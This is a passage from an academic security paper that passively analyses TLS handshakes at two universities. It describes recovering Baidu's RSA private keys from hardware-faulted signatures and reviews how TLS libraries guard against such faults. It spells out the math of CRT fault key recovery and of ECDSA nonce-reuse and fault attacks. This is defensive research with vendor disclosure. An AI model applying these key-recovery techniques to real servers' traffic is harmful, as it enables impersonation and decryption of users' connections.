234    31st USENIX Security Symposium USENIX Association



scanning from an identifiable host with information on our
project, and maintaining an opt-out blocklist.

Disclosure
We disclosed to Baidu on January 26, 2022 and worked with
their team to verify the exposure. Baidu has acknowledged
the problem and corrected the issue. They updated their keys
in late February, 2022. We disclosed to Xerox on May 6, 2022
and have received an acknowledgement. We disclosed a his-
torical vulnerability to doi.gov on May 11, and have received
a confirmation that the vulnerable site has a new certificate
and is no longer public facing. We disclosed to Cisco on May
13, 2022, and have received an acknowledgement. We com-
municated with Microsoft on May 21, 2022 and with Alibaba
Cloud on May 22, 2022. We have included more information
as available below.

2 Background and related work

RSA public keys remain overwhelmingly popular for signa-
ture usage in TLS; in our passive dataset around 90% of TLS
connections used an RSA signature. (See Table 3.)

2.1 RSA signatures
A textbook RSA public key is a pair of integers (N,e) where
N is a public modulus that is the product of two equal-sized
primes p and q, and e is the public signature verification
exponent, nearly always set to 65537 in TLS. The private key
is the pair (N,d) where d = e−1 mod (p− 1)(q− 1) is the
secret signing exponent.

A textbook RSA signature s on a message m is the value s=
md mod N. To verify a textbook RSA signature, the verifier
checks whether m ?

= se mod N.

2.1.1 Padding and Optimizations

Textbook RSA signatures as described above are vulnerable
to a number of elementary signature forgery attacks [13], so
RSA signatures are generally padded and hashed.

PKCS#1v1.5 The most common RSA signature padding
scheme historically has been PKCS#1v1.5 padding [37]. For
signatures, this padding takes the form
pad(m) = 00 || 01 || FF .. FF || ASN.1 || H(m)
where ASN.1 is an algorithm identifier specifying the hash
function used in the signature, and H(m) is a cryptographic
hash of the message m using the specified hash function. In
typical modern usage, N is 2048 bits, and H is SHA-256 or
SHA-512. The length of the ASN.1 algorithm identifier, null
spacing bytes, and ASN.1 length encoding for the hash is 20
bytes. The FF bytes occupy the remaining space to fill the
padded message to the byte length of the modulus N. The

value pad(m) is exponentiated and validated as in textbook
RSA described above.

RSA PKCS#1v1.5 signature padding has been proven to be
secure in the random oracle model [32]. (This is in contrast
to the case of RSA PKCS#1v1.5 encryption padding, which
is not secure against chosen ciphertext attacks [8] and has
resulted in numerous real-world vulnerabilities [3, 10].)

RSA-PSS RSA-PSS is an alternative randomized RSA
signature padding scheme [5]. A modified version of
RSA-PSS (often referred to as RSASSA-PSS) appears in
PKCS#1v2.1 [35] and 2.2. Unlike PKCS#1v1.5 padding, PSS
padding is randomized using a salt. The input to RSASSA-
PSS is a message hash mHash, which is then hashed together
with padding and the salt s to obtain a string H. H is then pro-
cessed through a mask generating function MGF and xored
with padding and the salt value to obtain a value maskedDB.
The encoded message to which RSA signing is applied is then
pad(mHash) = maskedDB || H || BC
where BC is the hexadecimal byte value. To verify the signa-
ture, the verifier must know the message hash that is being
signed. The verifier inverts RSA signing, parses pad(mHash)
from the padded message, recovers the salt, and then verifies
the salted hash H.

TLS 1.3 specifies the use of PSS padding for RSA. How-
ever, historically RSA-PSS has remained less popular than
PKCS#1v1.5 padding. Gutmann has criticized standardiza-
tions of PSS as potentially being vulnerable to parameter
substitution and malleability attacks [28].

Although PSS is typically described as randomized,
PKCS#1v2.1 contains a note that “randomness is not crit-
ical to security” for PSS, and suggests that “In situations
where random generation is not possible, a fixed value or a
sequence number could be employed instead, with the result-
ing provable security similar to that of FDH” (Full-Domain
Hashing [5]).

CRT Implementations often use the Chinese Remainder
Theorem (CRT) to speed up the modular exponentiation com-
putations required for signing. To do this, an implementation
computes the CRT secret exponents dp = d mod (p−1) and
dq = d mod (q− 1), and the coefficient qinv = q−1 mod p.
Then the value s = md mod N can be computed by first com-
puting the half-exponentiations sp = mdp mod p and sq =
mdq mod q then recovering the full s using Garner’s formula:
s = spqqinv + sq(1−qqinv) = (sp− sq)qqinv + sq mod N.

Modular exponentiation The simplest efficient modular
exponentiation algorithm is the binary square-and-multiply
algorithm. However, textbook square-and-multiply is one of
the canonical examples of an algorithm that is vulnerable
to side-channel attacks, and modern implementations typi-
cally adopt multiple optimizations over textbook square-and-
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multiply [26], as well as using countermeasures against side-
channel attacks. For instance, to protect against side-channel
attacks, implementations may blind the exponent (by adding
multiples of φ(N) for the full exponent, or p−1 or q−1 for
the half-exponents) or message using RSA blinding.

In Section 4.2 we discuss some of the implementation
choices made by popular TLS libraries in more detail. Mes-
sage blinding appears to be near-ubiquitous; exponent blind-
ing less so.

2.2 Fault Attacks against RSA
CRT-RSA RSA is vulnerable to an elementary key re-
covery attack if a fault occurs during the signing process
in an implementation that uses RSA-CRT, originally due
to Lenstra [12, 39]. Let m be the padded and hashed mes-
sage. Then a CRT-based signing implementation would com-
pute two half-exponentiations sp = mdp mod p and sq =
mdq mod q and use the CRT to recover the signature s.

Consider the scenario where a fault occurs during the com-
putation of one of the half-exponentiations, and the result-
ing faulty signature s f does not validate. However, s f has
the property that s f ≡ sp mod p while s f 6= sq mod q. Then
gcd(se

f −m,N) = p, revealing the factorization of N.
This attack requires that the attacker have access to one

faulty signature, and for the attacker to know the padded mes-
sage that was signed. For RSA PKCS#1v1.5, the determinis-
tically padded and hashed message is easy for an attacker to
construct from known hash inputs. In the case of TLS 1.2 and
below, the hash inputs are all parts of the handshake visible
to either a passive observer or active handshake participant.

Any deterministic or partially randomized RSA signature
scheme used with CRT computations is potentially vulnera-
ble [17]. It has been shown that randomized PSS padding is
provably secure against random fault attacks [18].

Other RSA Fault Attacks Lenstra [39] and Boneh, De-
Millo, and Lipton [12] also describe hypothetical key recov-
ery attacks that could apply if transient faults occur during
a non-CRT signing operation that uses a square and multi-
ply or similar exponentiation algorithm to do exponentiation
with the secret exponent d. These attacks both require a large
number of faulty signatures and a specific error pattern that
seems unlikely to arise given current modular exponentiation
implementations and the ubiquity of blinding.

Beyond modular exponentiation, Brier et al. [16] developed
a key recovery RSA fault attack exploiting injecting faults
into the modulus during the CRT reconstruction step, rather
than the modular exponentiation.

2.2.1 Practical fault attack demonstrations

Since the publication of the attacks described above, hardware-
based fault attacks have been extensively studied, mainly fo-

cused on active attackers in the context of smartcard and other
hardware implementations [2, 9, 38, 43].

In the software realm, the Rowhammer attack gave a plau-
sible route for an attacker to induce bit flips in cryptographic
computations. Razavi et al. [49] demonstrated a Rowhammer
attack against RSA that involved flipping bits in the RSA pub-
lic key modulus until the modulus was sufficiently composite
to be easy to factor, and Weissman et al. [54] demonstrated a
CRT-based Rowhammer fault attack against RSA.

Most similar to our work, Weimer [53] carried out active
network scans looking for RSA-CRT faults in TLS signatures
in 2015, and was able to factor more than 200 RSA keys, each
of which was associated with a hardware network device. Of
these keys, three were part of certificates that had been signed
by certificate authorities. (Incidentally, we note that there is a
significant overlap between the device manufacturers listed
by Weimer as producing faulty RSA signatures and the device
manufacturers listed by [29] as producing RSA moduli with
repeated prime factors.)

2.3 ECDSA signatures

ECDSA (elliptic curve digital signature algorithm) [34] is a
randomized digital signature scheme based on elliptic curves.
(ECDSA is based on the structure of DSA, a digital signature
algorithm based on the prime field discrete logarithm problem,
but DSA is almost never used for TLS, so we omit a discussion
here.)

An ECDSA public key consists of a set of curve parameters
together with a public curve point. The curve parameters are
almost always specified by naming a fixed, named curve over
some fixed finite field along with its associated generating
point G of a suitable group of points of prime order n. The
most commonly seen curves are three curves standardized by
NIST, called secp256r1, secp384r1, and secp521r1; the
first is by far the most popular in TLS. The private key is an
integer 0 < d < n, and the public curve point is dG.

To generate an ECDSA signature, let h be the integer rep-
resentation of the message hash h. The signer generates an
ephemeral private key 0 < k < n which is often referred to
as the nonce, and then generates the values r = x(kG) and
s = k−1(h+dr) mod n where the notation x() means to take
the x-coordinate of the curve point, and where the value of r
is interpreted as an integer modulo n in the second equation.
The signature is the pair (r,s).

ECDSA nonce generation ECDSA is well understood to
be fragile if ever used with an insecure random number gen-
erator [14, 15, 30]. If an adversary ever learns the nonce k
used to generate a single signature (r,s), it is simple to derive
the long-term secret signing key d by solving the equation
relating s and k for the secret d, assuming that the message
hash h for the signature is known.
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Even more problematic, if a signer ever reuses a nonce
k to sign two different messages with the same private key,
it is simple to recover k and thus the private signing key d.
Let (r1,s1) and (r2,s2) be vulnerable signatures on message
hashes h1 and h2 respectively, with r1 = r2. Then k = (h1−
h2)/(s1− s2) mod n and we can solve for d as above.

Because of this, many modern ECDSA implementations
generate signature nonces deterministically from the secret
signing key and the message to be signed [46].

These deterministic ECDSA nonce constructions will en-
sure that the private key will never be revealed by an insecure
random number generator, but they turn out to be more fragile
against fault attacks.

2.4 Fault attacks on ECDSA

Poddebniak et al. [45] describe efficient fault attacks against
ECDSA that require at least two signatures with the same
signature nonce, one correct and one with a fault.

Let (r,s) be an ECDSA signature as above on message hash
h. If the same message hash is signed a second time and a
fault happens during the computation of r but no errors occur
with the deterministically computed signature nonce k, the
algorithm may return the faulty signature (r f ,s f ) with r f 6=
r and s f = k−1(h+ dr f ) mod n. An attacker who observes
both the valid signature (r,s) and faulty signature (r f ,s f ) can
subtract s f from s and rearrange to solve for k = d(r−r f )(s−
s f )
−1 mod n. This can then be substituted into the the relation

defining s to obtain d = h(s− s f )(s f r− sr f )
−1 mod n.

2.5 TLS

The internet is currently going through an algorithm tran-
sition from TLS 1.2 to TLS 1.3. TLS 1.3 is a significant
change to the TLS handshake compared to previous versions
of SSL/TLS.

TLS can use RSA signatures in two main ways: first, cer-
tificates can contain RSA public keys and signatures to verify
the identity of servers using a certificate authority (CA) public
key. Second, each TLS connection can contain a server key
exchange that carries a signature from the server’s correspond-
ing RSA key. We focus on the latter in this paper.

While certificate keys and associated certificate signatures
are long-lived, the signatures found in the server key exchange
message are generated per-connection. In TLS 1.2 and below,
this signature is over the server parameters (that is, the (el-
liptic curve) Diffie-Hellman key exchange values) as well as
the client and server random nonces that are sent as part of
the client and server hello messages. Servers use their private
key to generate a new signature as part of every handshake
that negotiates an ephemeral Diffie-Hellman (DHE) or ellip-
tic curve Diffie-Hellman (ECDHE) cipher suite. In TLS 1.2,
clients can provide a list of supported signature algorithms

(including padding formats) and hash functions using the sig-
nature_algorithm extension. The server chooses the signature
algorithm and hash function from the client’s list.

If a server computing the key exchange signature has an
error during the signing process, or the packet containing a
signature suffers a transmission error that is not caught by the
TCP checksum, the signature as received by the client will
fail to validate with the server’s public key contained in the
certificate. In this case, the client should send a TLS Alert
message, with a code dependent on implementation.

For our purposes in this paper, TLS 1.2 and below are no-
table compared to other common network protocols because
the server’s signature is over data that is entirely visible to a
passive network attacker: an observer needs only to collect the
client hello, server hello, certificate, and server key exchange
records in order to validate the signature. If the signature fails
to verify, the passive observer would also expect to see the
client send a TLS Alert and close the connection.

TLS 1.3. TLS 1.3 has made multiple major changes af-
fecting the security of RSA signatures. In particular, TLS
1.3 adds a default extension to encrypt the handshake mes-
sages following the client and server hello messages, and
mandates RSA-PSS signature padding for RSA signatures
in the handshake, although PKCS#1v1.5 padding is still al-
lowed for signatures in certificates. The server generates a
signature to validate every handshake, but it is encrypted, so
a passive adversary cannot observe the signature sent by the
server. Our passive analysis is thus not able to use TLS 1.3
handshake data. However, it is still possible to collect and
validate RSA-PSS signatures over TLS 1.3 handshakes using
active scans.

SSH and IPsec also use server signatures for authentication,
but a passive network observer will not be able to indepen-
dently validate the signature because the signature contains
data that a passive observer cannot easily compute, like the
shared Diffie-Hellman secret.

3 Passive Data Collection

Passive network analysis has several advantages over active
scans for measuring the prevalence of cryptographic flaws.
• Scalability. While network researchers commonly scan

using 1 Gbps connections [21], network taps can easily
be 40 or even 100 Gbps. In addition, active scanning for
TLS signature flaws requires checking every signature,
while a passive tap can rely on clients to do the check
for them.
• Realistic datasets. Network tap traffic can observe

servers that traditional active scanning would miss, such
as firewalled hosts, non-public SNI values, sites not in
popular lists, and IPv6 hosts that cannot be enumerated.
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Figure 1: TLS connections collected over time. Our data
collection process includes several idiosyncracies including
downtime and gaps affecting the data we observe; holiday
breaks and pandemic-related shutdowns have also affected
connection patterns.

• A shift in perspective. Statistics from active network
scans tend to be dominated by a large number of low-
quality devices that are not representative of the hosts
responsible for almost all real network traffic.
• Modeling nation-state adversaries. Nation states con-

ducting mass surveillance are certainly capable of similar
passive attacks, allowing them to decrypt traffic to or im-
personate popular sites without leaving any evidence;
our results demonstrate that a completely passive key
compromise attack remains both feasible and practical
even to less well resourced researchers, and was likely
even more exploitable in the past.
• Ethics. Passive analysis avoids sending unnecessary traf-

fic to servers, and instead relies on connections that are
already made without our involvement.

3.1 Tap architecture
We collected data between October 2021 and May 2022. We
used two network taps for data, one located at UCSD and one
located at CU Boulder.

UCSD’s tap receives a copy of campus wireless network
mirrored from a campus Arista switch using two 10Gbps fiber
lines. Due to limits in our processing capacity we exclude
data from a number of large CDNs to reduce the load on our
processing machine. These IPs account for about 1/3 of the
traffic seen at UCSD. Once that data has been excluded we see
a load of 4-6 Gbps on our server. To process this traffic we use
PF_RING [40] and the Bro [42] Intrusion Detection System 2.
Our analysis includes data on any port that Bro identified as

2Now known as The Zeek Network Security Monitor: https://zeek.org/.
However, our infrastructure is running an older version of Bro.

TLS Version Connections

SSL 3.0 207 0.00%
TLS 1.0 5.8M 0.16%
TLS 1.1 46K 0.00%
TLS 1.2 1.7B 47.50%
TLS 1.3 1.8B 49.04%
TLS 1.3-draft-26-fb 36.7M 1.00%
TLS 1.3-draft-23 449 0.00%
TLS 1.3-draft-28 33 0.00%
TLS 1.3-draft-26 24 0.00%
No version number 84.3M 2.29%

Total 3.7B

Table 1: Version numbers for SSL/TLS seen in UCSD con-
nections. The vast majority of the handshakes we observed
were TLS 1.2 or TLS 1.3. “No version number” indicates that
we did not see a server message containing a version number
for that connection.

TLS traffic. To extract the TLS data we use custom Bro scripts
to parse the TLS handshake messages and write the data out
to logs, which are then written to a Hive database [23].

CU Boulder maintains a custom TLS packet analysis
tool based on PF_RING [40] and adapted from TLS Finger-
print [25], running in a 1U server. This parser received a copy
of all post-firewall traffic traversing the university network
via a 40 Gbps fiber line. We analyze traffic on port 443.

TLS 1.2 Records We collected the following elements
from each TLS 1.2 (or below) handshake:

The 32-byte client and server randoms, server name indica-
tion (SNI), server IP, client fingerprint [25] (a hash of identi-
fying features from the Client Hello such as cipher suites and
extensions in order to identify implementations while keeping
specific devices anonymous), server certificate chain (which
includes the server public key), and finally for connections
using (EC)DHE cipher suites, the server key exchange param-
eters (Diffie-Hellman public values, signature algorithm, hash
algorithm, and the server’s signature).

Alert If an error occurs during the handshake, the client
sends an Alert record to notify the server, and then closes the
connection. Invalid signatures and other errors should produce
a visible Alert record. We store the plaintext alert description.

TLS 1.3 Records TLS 1.3 connections perform an (ellip-
tic curve or prime field) Diffie-Hellman key exchange, with
keys sent in the Key Share extension in the Client and Server
Hello messages. All records following the Server Hello are
encrypted under the derived key, and not passively observable.
This includes the certificate and server’s signature authenti-
cating the connection. Thus, for connections that negotiate
TLS 1.3, we only collect the 32-byte client and server ran-
doms, list of supported cipher suites (and the server selected
one), supported and chosen protocol versions, and the client
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Description UCSD CU Boulder

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 561M 41.6% 880M 63.2%
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 647M 48.0% 297M 21.4%
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 68M 5.0% 88M 6.3%
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 53M 4.0% 84M 6.1%
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 9.6M 0.7% 6.6M 0.5%
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 3.6M 0.3% 4M 0.3%
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 3.6M 0.3% 3.9M 0.3%
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 1M 0.1% 2.6M 0.2%
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 1.5M 0.1% 21 0.0%
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA 160K 0.0% 300K 0.0%
Unknown 0 0.0% 6.4M 0.2%

Total 1.3B 1.4B

Table 2: Most common cipher suites for TLS 1.2 and below. ECDHE key exchange with RSA signatures were the most
popular public-key choices among cipher options.

and server Diffie-Hellman key exchange values.

3.2 Dataset

In total, we collected 3.3 billion TLS 1.2 and below con-
nections across our datasets. Figure 1 shows the number of
connections we collected over time for both UCSD and CU
Boulder. Among these connections we observed 1.6 million
unique server IPs at UCSD and 1.0 million at CU Boulder.

In our data, we see that the transition to TLS 1.3 is well
under way, but not yet universal. As shown in Table 1, about
half of connections are still being made with TLS 1.2 or below.
More than two thirds of these connections in our datasets
used RSA with PKCS#1v1.5 for the server key exchange
signature. Table 2 lists the cipher suites we observed, with
RSA signature cipher suites being overwhelmingly popular.
Table 3 shows the breakdown of signature algorithms. The
rsa_pkcs1_* signature algorithms represent between 65%
and 70% of signatures we observed at each location.

Limitations Our collection tools both have limitations and
bugs that occasionally cause us to miss some connections.
This means there are idiosyncracies in our reported numbers,
beyond the pre-existing biases present within any given insti-
tution. We report these limitations for completeness.

In particular, for CU Boulder,
• We do not parse connections that do not have a server

key exchange message (That is, connections using RSA
key exchange.)
• Before February 2022, we only parsed alerts from the

client after the server key exchange.
• We do not parse TLS 1.0 handshakes.
• We began collecting TLS 1.3 handshakes in February

2022.
• We miss connections that have dropped or re-ordered

packets in the handshake.
• Until February 2022, we dropped a large number of

MTU-sized packets due to upstream limitations in our
tap infrastructure.

Overall, these limitations mean that we are missing some
data from about 80% of the TLS handshakes that pass through
the CU Boulder network from October 2021 to January 2022,
mainly due to a combination of TLS 1.3 handshakes and
missing packets. After adding support for TLS 1.3, we miss
data from around 50% of TLS handshakes. We report numbers
from completed handshakes.

For UCSD, the limitations include:
• We filter out several large CDNs to reduce the traffic to

a manageable size. This reduces our visibility into the
very largest traffic sources on the network. 3

• Approximately 3.3% of the 3.7 billion TLS connections
we saw experienced some packet loss during collection.

3.3 Checking for anomalies

When a handshake encounters an error, the client or server
would be expected to send a TLS alert containing a 1-byte
description field. Table 4 shows the distribution of TLS Alerts
seen throughout our dataset.

The presence of an alert in a connection signals that the
client had some type of error. We are most interested in the
case of a client who is unable to verify the signature on a
server key exchange message. Overall, alerts happen in well
under 1% of connections, with the most common alerts in
our dataset being unrecognized CA, expired certificate, or un-
parsable messages. The specific alert that a client sends when
encountering an invalid signature in the server key exchange
varies across implementations. OpenSSL appears to send

3Our network analysis infrastructure at UCSD (which is shared with other
researchers) couldn’t keep up with 2x10 Gbps traffic without dropping
packets. A fast IP filter dropping traffic from a few high-volume CDNs
(including Akamai, Vodafone, RPS, megafon, and others) was the simplest
solution that maximized parseable handshake data. These IPs were not
excluded from collection at CU Boulder so we potentially would have seen
evidence of vulnerabilities there.
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Description UCSD CU Boulder

rsa_pkcs1_sha256 521M 38.6% 421M 30.3%
rsa_pkcs1_sha512 366M 27.1% 548M 39.4%
rsa_pss_rsae_sha256 330M 24.5% 230M 16.6%
ecdsa_secp256r1_sha256 108M 8.0% 156M 11.2%
ecdsa_secp384r1_sha384 9M 0.7% 14M 1.0%
ecdsa_secp521r1_sha512 4.8M 0.4% 4.5M 0.3%
rsa_pkcs1_sha1 6.5M 0.5% 400K 0.0%
rsa_pkcs1_sha384 173K 0.0% 1M 0.1%
rsa_pkcs1_sha224 7.4K 0.0% 10K 0.0%
rsa_pss_rsae_sha512 5.7K 0.0% 875 0.0%
ecdsa_sha1 1.9K 0.0% 4.3K 0.0%
rsa_pss_rsae_sha384 490 0.0% 305 0.0%
Unknown 4M 0.3% 15M 1.1%

Total 1.3B 1.4B

Table 3: TLS 1.2 Signature Algorithms. RSA PKCS#1v1.5
signatures were the most common in our dataset, followed by
RSA-PSS and ECDSA.

the decrypt_error alert, which occurs in approximately
0.0002% of connections.

As noted in Limitations in Section 3.2, CU Boulder does
not collect TLS alert messages sent by the server or those sent
after the handshake. Therefore, UCSD sees a wider variety of
alerts in Table 4 compared to CU Boulder.

4 Passive RSA Signature Analysis

In the UCSD data, we saw a total of 1.3 billion TLS connec-
tions where a server signature was sent. For every connection,
we attempted to verify the signatures using the client random,
server random, and server Diffie-Hellman parameters that we
recorded for the connection. Among all these connections, we
found 680 whose signatures did not verify. Of the connections
that did not verify, 420 were signed using RSA, which was
significantly more common than ECDSA in our dataset. See
Table 3. Our CU Boulder data saw an additional 1.4 billion
connections, with 1,306 invalid RSA signatures.

4.1 RSA PKCS#1v1.5 Signatures

Of the invalid signatures, 1,648 used RSA PKCS#1v1.5 signa-
tures. For each faulty signature s f , we examined the structure
of the recovered “message” m f = se

f mod N after a modular
exponentiation with the public key to try to classify the source
of errors more carefully.

Figure 2 depicts a flowchart for how the structure of the
faulty padded “message” m f recovered during the RSA signa-
ture validation process may give some evidence for whether
an invalid signature is due to errors in network transmission
or during computation. Errors that occur in transmission be-
tween client and server would be expected to lead to an alert.
We would not expect to see an alert if errors occurred in our

Description UCSD CU Boulder

certificate_unknown 7.7M 1.1M
protocol_version 1.6K 2.6M
unknown_ca 1.1M 1.4M
handshake_failure 12K 1.1M
internal_error 797K 0
bad_certificate 15K 429K
certificate_expired 99K 99K
illegal_parameter 92K 65K
unrecognized_name 102K 0
unexpected_message 17K 11K
bad_record_mac 1.5K 4.6K
decrypt_error 585 5.1K
user_canceled 3.4K 0
record_overflow 0 3K
bad_certificate_status_response 2.1K 0
access_denied 418 1.1K
unsupported_certificate 13 1.4K
decode_error 170 125
Other 5 46
Unknown 11 0

Total Alerts 10M 6.9M
Total Connections 1.3B 1.4B

Table 4: TLS Alerts

data collection. In either case, transmission or collection er-
rors cannot leak any private key information, while errors that
occur during the server’s computation of the signature may
reveal the private key.

Correct PKCS#1v1.5 padding For 1,442 of the non-
validating signatures, the recovered m f had the correct
padding format for a PKCS#1v1.5-padded signature—that is,
they had the correct fixed padding bytes preceding the hash.
That meant that these signatures failed to validate because
the hash value did not match the recorded client and server
randoms and server key exchange parameters.

This indicates that the problem with these signatures was
not with the RSA calculation but rather with the hash function
calculation either at signature generation or verification. We
hypothesized that potential sources of error could be an error
during the hash function calculation itself on the server, bit
errors that evaded the TCP checksum during transmission, or
corruption that happened after we collected the data.

Of the 1,442 faulty signatures in this category, 50
of the TLS connections were terminated with an
unexpected_message alert, 8 with a decrypt_error
alert, 8 with certificate_unknown, and 4 terminated with
a protocol_version alert.

The remaining 1,372 faulty signatures sent no alerts, sug-
gesting that these errors may have occurred during transmis-
sion or collection. In the UCSD data, 16 connections sent no
alert but had an unsuccessful handshake, suggesting the client
also failed to validate the signature. We found these signa-
tures were formatted as a valid TLS 1.2 RSA signature using
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Figure 2: Factoring flow chart — There are several potential
causes for an observed invalid signature. If an error occurred
during transmission, then we may be able to brute force bit
flips in the signed values or signature to recover the original
values. Alternatively, an error that occured during signature
computation may allow us to factor the RSA key (green).

SHA256, but the connection used TLS 1.0, which computes
the digest differently. These connections were between the
same client and server over the period of a couple seconds.

In order to see if we could recover hypothesized bit flips
during transmission, we brute forced both single-byte errors in
every byte of the hash inputs and double bit errors anywhere
in the hash inputs for all of the failed signatures to see if they
would verify. None did. This suggests to us either that for
the other invalid signatures there were multiple errors in the
values, or that the hash function computation on the server
side experienced a different type of failure.

Incorrect metadata For five signatures we recorded
0x00e6 for their signature algorithm extension, while for one
we recorded 0x00d6. Neither of these are valid values for this
extension. These signatures did not seem to be formatted as a
recognizable RSA padding scheme when raised to the public
exponent and could not be verified. The clients and servers
did not raise errors and did not complete these handshakes,
so we do not know where the error occurred.

Faulty signatures Eliminating the two categories above
left 200 signatures identified as RSA PKCS#1v1.5 in the
handshake where the recovered faulty padded “message” m f
did not have a proper padding format.

For these signatures, we calculated the “correct” m ex-
pected from the collected handshake parameters and checked
whether gcd(m−m f ,N) resulted in a factor of N. For 11 sig-
natures, it did, allowing us to derive the corresponding RSA

private key. We discuss these signatures and keys in more
detail below in Section 4.1.2.

Among the remaining 189 signatures, 10 of the clients
raised decrypt_error and did not complete the handshake.
Of the 179 connections that did not raise an alert, 145 of them
successfully completed the handshake.

For these signatures, we investigated whether a bit error
during the transmission of the signature s might have resulted
in the validation failure. We attempted to test this hypothesis
by brute forcing all possible single-byte errors in s, but none
resulted in a valid PKCS#1v1.5 padding format.

4.1.1 Investigating the CRT Errors

In each of the 11 connections in which we factored the RSA
public key, the connection was made using TLSv1.2, so we
were able to passively collect the signature and the inputs to
the hash function used for signing. Three of the signatures
used SHA-256 for the hash algorithm and eight used SHA-512
as the hash algorithm. Nine of the connections resulted in a
TLS alert—eight decrypt_error and one close_notify—
and the connection was unsuccessful in all eleven cases.

Nine of these faulty signatures were signed with (and re-
vealed the factorization of) the same RSA modulus, and the
two remaining ones revealed two further distinct RSA moduli.

Multiple faulty signatures from the same modulus gave
us some opportunity to investigate the nature of the fault
further. The GCD calculation revealed the same factor p
each time, so we can conclude that the error occurred in
the computation modulo the other factor, q, each time. We
attempted to reproduce the error with single byte errors in
combinations of the inputs to the CRT calculation: q, dq,
and qinv. None of these was successful. We also computed
gcd(mi− se

i mod N,m j− se
j mod N) = di j to see if we might

recover information about an incorrect second factor, but each
of these gave us p, 2p, or 3p.

4.1.2 baidu.com case study

The three private keys revealed by the 11 faulty signatures
in our data were associated with three certificates that were
served from four different IP addresses associated with Baidu.
Two of the certificates were for baidu.com, and the third
was for httpsdns.baidu.com. We confirmed these are the
trusted CA-signed certificates served by Baidu services.

Figure 3 shows the number of connections made to these
IP addresses during our collection period, with markers indi-
cating days we observed the faulty signatures.

However, those certificates were not just used by the four
IP addresses from which we observed faulty signatures. In
our dataset these three certificates were used to secure 1.2 mil-
lion distinct TLS connections, which were directed to 1,121
distinct IP addresses. There were 599 different values for the
server name indication (SNI) among these connections.
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In total, certificates with baidu.com in the common
name field were associated with 37 failed signatures in
our data, 30 of which ended with a decrypt_error, three
without any error, two with close_notify, and one with
certificate_unknown. Eleven of these signatures used
PKCS#1v1.5 padding, and the remaining used RSA-PSS.

Server/code responsible After we disclosed to Baidu, they
informed us that the traffic we observed was between the
clients and Baidu’s golang-based L7 load balancer BFE 4

which offloads cryptographic operations like signature gener-
ation to a hardware accelerator. Baidu did not share details of
the specific cryptographic accelerators other than that Baidu’s
strategy was similar to other giant L7 load balancing deploy-
ments. There are numerous publicly available hardware im-
plementations for such cryptographic workloads including
Mellanox SmartNIC, DPU, Intel QAT, as well as FPGA and
ASIC devices.

To fix the vulnerability, Baidu added a signature validation
check in software. Based on the temporal pattern of signature
errors we observed, we hypothesize that the errors may have
been due to a single failing hardware component which then
passed vulnerable signatures through the unprotected software
implementation. We note that this failure mode is similar to
the 2015 hardware failures described by Weimer [53] who
traced RSA signature errors to a family of Cavium crypto-
graphic hardware accelerators that were used, among other
products, on TLS-terminating load balancers.

In order to investigate whether Baidu’s implementation
might be used elsewhere, we fingerprinted the Baidu server
serving the vulnerable key based on its supported cipher suites
and preference order [20] and observed that this fingerprint
appeared to be unique to Baidu.

Our fingerprinting algorithm sends a TLS connection to
the server claiming to support all known cipher suites, and
observes which one the server selected. We then send a new
TLS connection with the same list, removing the cipher suite
the server chose. We repeat this process until the server sends
an error (meaning they do not support any more cipher suites),
and record the cipher suites and order they picked them. Baidu
supported 7 cipher suites.

We then repeated this process to obtain server fingerprints
for a 1% sample of TLS hosts. We used ZMap [21] to scan
port 443, producing a list of 550K open hosts. Of these, 353K
produced fingerprints without error, with 59K unique finger-
prints. Only 38 of these matched the fingerprint of Baidu.
Each of the 38 IPs presented a certificate for baidu.com.

We also experimented with the RSA private key finger-
printing technique of Janovsky et al. [33] to see if we could
determine the implementation that generated the key. For each
of the two keys we factored, we generated two candidate pri-
vate keys, one for each ordering of prime factors p and q. We

4https://github.com/bfenetworks/bfe
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Figure 3: Total observed connections over time to the four
IP addresses that generated a factorable signature. The
markers indicate when the connections with faulty signatures
occurred. Different shaped markers represent different mod-
uli.

then ran Janovsky et al.’s fingerprinting tool on both private
keys. For one of the orderings for each key the tool identified
it as likely coming from OpenSSL (their group 24) with 90%
confidence. For the other prime ordering, the tool suggested
other libraries with lower confidence.

Active Analysis of baidu.com Servers After discovering
the errors in January 2022, we initiated TLS connections to the
four Baidu IP addresses associated with the faulty signatures
in an attempt to reproduce a faulty signature in a controlled
environment. We completed 500,000 connections from two
IP addresses, with randomized TLS client hello fingerprints
using uTLS [24].

Of these 500,000 completed connections, one signature did
not verify, and our client produced a TLS alert. The signature
used the rsa_pss_rsae_sha512 signature algorithm, so the in-
valid signature did not allow us to extract the factorization of
the public key.

We made an effort to mitigate negative effects on server
performance by rate limiting our scan so that our connections
would be expected to be only a negligible proportion of traffic
for this popular site.

4.2 PKCS#1v1.5 Implementation analysis
To see whether there are open source libraries vulnerable to
key compromise via signature faults, we manually reviewed
source code for a sample of popular open source TLS libraries.
All of the libraries we looked at had code to validate signa-
tures before returning, specifically aimed at preventing this
vulnerability. All of the libraries also used RSA blinding and
the Chinese Remainder Thereom when producing signatures.
Most recent versions also validate the produced signatures.

Table 5 lists the libraries we looked at, and the version/date
that signature validation checks were added to the codebase.
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Versions of libraries that predate these are likely vulnerable.

Library Version fixed Date of release
OpenSSL 0.9.6a Mar. 2001

Golang TLS 1.6 Dec. 2015
OpenJDK jdk8u Feb. 2015
Mbed TLS 2.1.0 Sep. 2015
libgcrypt 1.7.0 Aug. 2015
wolfSSL 3.6.8 Sep. 2015

wolfCrypt 4.3.0 Nov. 2019
Nettle 3.2 Sep. 2015

Table 5: TLS implementations — All of the open source
TLS libraries we examined have implemented fixes that cor-
rect this issue, most commonly by verifying the signature
before returning. We note that some of these checks can be
disabled by application configurations.

Some libraries, including OpenJDK, have a configurable
signature check, which applications can disable for perfor-
mance reasons. We cannot tell a priori if applications will
provide their own configurations when using this library and
make them vulnerable. Similarly, wolfSSL added signature
verification for its TLS code in 2015, but the signature check
was not incorporated into wolfCrypt, a lower-level crypto-
graphic library, until several years later. Applications that
used wolfCrypt to produce RSA signatures remained vul-
nerable until a patch was added in 2019 in response to a
